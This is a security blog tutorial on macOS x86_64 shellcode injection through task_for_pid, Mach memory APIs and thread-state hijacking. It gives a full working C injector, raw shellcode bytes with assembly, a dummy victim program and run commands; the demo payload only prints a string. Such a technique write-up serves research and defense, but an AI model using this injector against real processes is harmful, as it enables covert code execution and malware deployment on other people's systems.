6 minute read

Hello, cybersecurity enthusiasts and white hackers!

malware

In this post, we explore how to inject and run custom shellcode into a remote process on macOS x86_64 using native APIs such as task_for_pid(), mach_vm_allocate(), mach_vm_write(), and direct register manipulation via thread_set_state().

task for pid

At the heart of this injection technique lies task_for_pid(), a Mach API function that retrieves the task port - essentially a handle - for a given process ID. This port gives us the power to manipulate the memory and threads of the target process.

But there’s a catch. Actually, several.

task_for_pid() is a privileged call. On macOS, it only works if:

  • the calling process has the task_for_pid-allow entitlement,
  • SIP (System Integrity Protection) is either disabled or selectively configured,
  • and the caller has root privileges.

Without these conditions, task_for_pid() will fail with KERN_FAILURE or KERN_PROTECTION_FAILURE, and the injection stops right there.

practical example

we’ll walk through the logic step-by-step and show how to hijack execution flow of a live process using nothing but public APIs. As always, my cases tested on Mac OS X Sonoma VM:

malware

to inject into the victim process, we first need to gain access to its task port. On macOS, task_for_pid() allows us to do this - but only if you have root privileges and SIP isn’t blocking you. So make sure you’re running as root and SIP is disabled or selectively configured:

pid_t pid = atoi(argv[1]);
task_t task;
kern_return_t kr = task_for_pid(mach_task_self(), pid, &task);
if (kr != KERN_SUCCESS) {
  fprintf(stderr, "[-] task_for_pid() failed: %s\n", mach_error_string(kr));
  return 1;
}
printf("[+] attached to pid %d\n", pid);

Once we have the task port, we use mach_vm_allocate() to reserve memory in the remote process:

mach_vm_address_t remote_addr = 0;
kr = mach_vm_allocate(task, &remote_addr, sizeof(shellcode), VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS) {
  fprintf(stderr, "[-] mach_vm_allocate failed: %s\n", mach_error_string(kr));
  return 1;
}
printf("[+] allocated memory at 0x%llx\n", remote_addr);

This memory needs to be writable so we can use mach_vm_write() to copy in our shellcode:

kr = mach_vm_write(task, remote_addr, (vm_offset_t)shellcode, sizeof(shellcode));
if (kr != KERN_SUCCESS) {
  fprintf(stderr, "[-] mach_vm_write failed: %s\n", mach_error_string(kr));
  return 1;
}
printf("[+] wrote shellcode\n");

however, by default, newly allocated memory is not executable, and trying to jump into it will cause a BUS ERROR. So after writing, we call mach_vm_protect() to explicitly grant VM_PROT_EXECUTE permission:

// make memory RX
kr = mach_vm_protect(task, remote_addr, sizeof(shellcode), FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
if (kr != KERN_SUCCESS) {
  fprintf(stderr, "[-] mach_vm_protect failed: %s\n", mach_error_string(kr));
  return 1;
}
printf("[+] set memory RX\n");

Next, we obtain the list of threads with task_threads() and pick the first thread:

thread_act_t thread;
thread_array_t thread_list;
mach_msg_type_number_t thread_count = 0;
kr = task_threads(task, &thread_list, &thread_count);
if (kr != KERN_SUCCESS || thread_count < 1) {
  fprintf(stderr, "[-] task_threads failed: %s\n", mach_error_string(kr));
  return 1;
}

We suspend it, read its current x86_thread_state64_t, change the instruction pointer (__rip) to point to our shellcode:

thread = thread_list[0];
x86_thread_state64_t state;
mach_msg_type_number_t state_count = x86_THREAD_STATE64_COUNT;

kr = thread_get_state(thread, x86_THREAD_STATE64, (thread_state_t)&state, &state_count);
if (kr != KERN_SUCCESS) {
  fprintf(stderr, "[-] thread_get_state failed: %s\n", mach_error_string(kr));
  return 1;
}

printf("[+] RIP before: 0x%llx\n", state.__rip);
state.__rip = remote_addr;

and write the new state back with thread_set_state():

kr = thread_set_state(thread, x86_THREAD_STATE64, (thread_state_t)&state, state_count);
if (kr != KERN_SUCCESS) {
  fprintf(stderr, "[-] thread_set_state failed: %s\n", mach_error_string(kr));
  return 1;
}

printf("[+] RIP set to 0x%llx. shellcode running in PID %d\n", remote_addr, pid);
return 0;

So, finally we need shellcode. Our payload is simple: write the string "Meow\n" to stdout (file descriptor 1), then gracefully call exit(0). This avoids crashing the process or leaving it in an unstable state.

This shellcode is handcrafted in x86_64 assembly using macOS syscall numbers. Here’s the corresponding bytes:

unsigned char code[] =
"\x48\xb8\x4d\x65\x6f\x77\x0a\x00\x00\x00"
"\x50\xbf\x01\x00\x00\x00"
"\x48\x89\xe6\xba\x05\x00\x00\x00"
"\xb8\x04\x00\x00\x02\x0f\x05"
"\xb8\x01\x00\x00\x02\x48\x31\xff\x0f\x05";

if you need assembly code:

global start

section .text
start:
  mov rax, 0x0a776f654d     ; "\nwoeM" in little-endian
  push rax                  ; string now on stack

  mov rdi, 1                ; fd = 1 (stdout)
  mov rsi, rsp              ; pointer to "Meow\n"
  mov rdx, 5                ; length = 5 bytes
  mov rax, 0x2000004        ; syscall: write
  syscall

  mov rax, 0x2000001        ; syscall: exit
  xor rdi, rdi              ; exit code 0
  syscall

It’s compact and self-contained, perfect for this type of PoC.

So, full source code of our injector:

/*
 * hack.c
 * macOS x86_64 shellcode injection
 * via task for pid
 * author @cocomelonc
 * https://cocomelonc.github.io/macos/2025/08/19/malware-mac-9.html
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <mach/mach.h>
#include <mach/thread_act.h>
#include <mach/mach_vm.h>
#include <mach/thread_status.h>

unsigned char shellcode[] =
  "\x48\xb8\x4d\x65\x6f\x77\x0a\x00\x00\x00"
"\x50\xbf\x01\x00\x00\x00"
"\x48\x89\xe6\xba\x05\x00\x00\x00"
"\xb8\x04\x00\x00\x02\x0f\x05"
"\xb8\x01\x00\x00\x02\x48\x31\xff\x0f\x05";

int main(int argc, char *argv[]) {
  if (argc != 2) {
    fprintf(stderr, "usage: %s <pid>\n", argv[0]);
    return 1;
  }

  pid_t pid = atoi(argv[1]);
  task_t task;
  kern_return_t kr = task_for_pid(mach_task_self(), pid, &task);
  if (kr != KERN_SUCCESS) {
    fprintf(stderr, "[-] task_for_pid() failed: %s\n", mach_error_string(kr));
    return 1;
  }
  printf("[+] attached to pid %d\n", pid);

  mach_vm_address_t remote_addr = 0;
  kr = mach_vm_allocate(task, &remote_addr, sizeof(shellcode), VM_FLAGS_ANYWHERE);
  if (kr != KERN_SUCCESS) {
    fprintf(stderr, "[-] mach_vm_allocate failed: %s\n", mach_error_string(kr));
    return 1;
  }
  printf("[+] allocated memory at 0x%llx\n", remote_addr);

  kr = mach_vm_write(task, remote_addr, (vm_offset_t)shellcode, sizeof(shellcode));
  if (kr != KERN_SUCCESS) {
    fprintf(stderr, "[-] mach_vm_write failed: %s\n", mach_error_string(kr));
    return 1;
  }
  printf("[+] wrote shellcode\n");

  // make memory RX
  kr = mach_vm_protect(task, remote_addr, sizeof(shellcode), FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
  if (kr != KERN_SUCCESS) {
    fprintf(stderr, "[-] mach_vm_protect failed: %s\n", mach_error_string(kr));
    return 1;
  }
  printf("[+] set memory RX\n");

  thread_act_t thread;
  thread_array_t thread_list;
  mach_msg_type_number_t thread_count = 0;
  kr = task_threads(task, &thread_list, &thread_count);
  if (kr != KERN_SUCCESS || thread_count < 1) {
    fprintf(stderr, "[-] task_threads failed: %s\n", mach_error_string(kr));
    return 1;
  }

  thread = thread_list[0];
  x86_thread_state64_t state;
  mach_msg_type_number_t state_count = x86_THREAD_STATE64_COUNT;

  kr = thread_get_state(thread, x86_THREAD_STATE64, (thread_state_t)&state, &state_count);
  if (kr != KERN_SUCCESS) {
    fprintf(stderr, "[-] thread_get_state failed: %s\n", mach_error_string(kr));
    return 1;
  }

  printf("[+] RIP before: 0x%llx\n", state.__rip);
  state.__rip = remote_addr;
  kr = thread_set_state(thread, x86_THREAD_STATE64, (thread_state_t)&state, state_count);
  if (kr != KERN_SUCCESS) {
    fprintf(stderr, "[-] thread_set_state failed: %s\n", mach_error_string(kr));
    return 1;
  }

  printf("[+] RIP set to 0x%llx. shellcode running in PID %d\n", remote_addr, pid);
  return 0;
}

demo

First of all, to keep things simple and controllable, we’ll start a small dummy “victim” process. Its only job is to print a message every few seconds. We’ll inject into this process from our injector:

/*
 * meow.c
 * victim process for macOS injection tests
 * author @cocomelonc
 * https://cocomelonc.github.io/macos/2025/08/19/malware-mac-9.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  printf("victim process started. PID: %d\n", getpid());

  while (1) {
    printf("meow-meow... PID: %d\n", getpid());
    sleep(5); // simulate periodic activity
  }

  return 0;
}

Compile it:

clang -o meow meow.c

malware

Then run:

./meow

malware

Take note of the printed PID - we’ll need it for injection.

Then compile our injector:

clang -o hack hack.c

malware

Then run it with PID param:

sudo ./hack 818

malware

malware

malware

As you can see, everything is works perfectly! =^..^=

shellcode injection on macOS via task_for_pid() is possible with root privileges:

malware

malware

Apple treats task_for_pid() as a potential vector for code injection, debugging, and exploitation. In hardened environments, it’s blocked to protect critical system and user processes from tampering.

For researchers, though, task_for_pid() is a powerful entry point into a process’s memory space - allowing you to allocate, write, and even hijack execution. Combined with other Mach APIs like mach_vm_write, mach_vm_protect, and thread_set_state, it opens the door to manual, thread-hijacking code injection with full control.

Note: Instead of hijacking an existing thread, another approach is to create a new remote thread in the target process. This technique is often safer and avoids potential race conditions. I’ll explore remote thread creation (including examples for macOS ARM64 and M1/M2 targets) in upcoming posts.

I hope this post is useful for malware researchers, macOS/Apple security researchers, C/C++ programmers, spreads awareness to the blue teamers of this interesting technique, and adds a weapon to the red teamers arsenal.

macOS hacking part 1
macOS hacking part 2
macOS hacking part 3
macOS hacking part 4
macOS hacking part 5
macOS hacking part 6
macOS hacking part 7
macOS hacking part 8
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine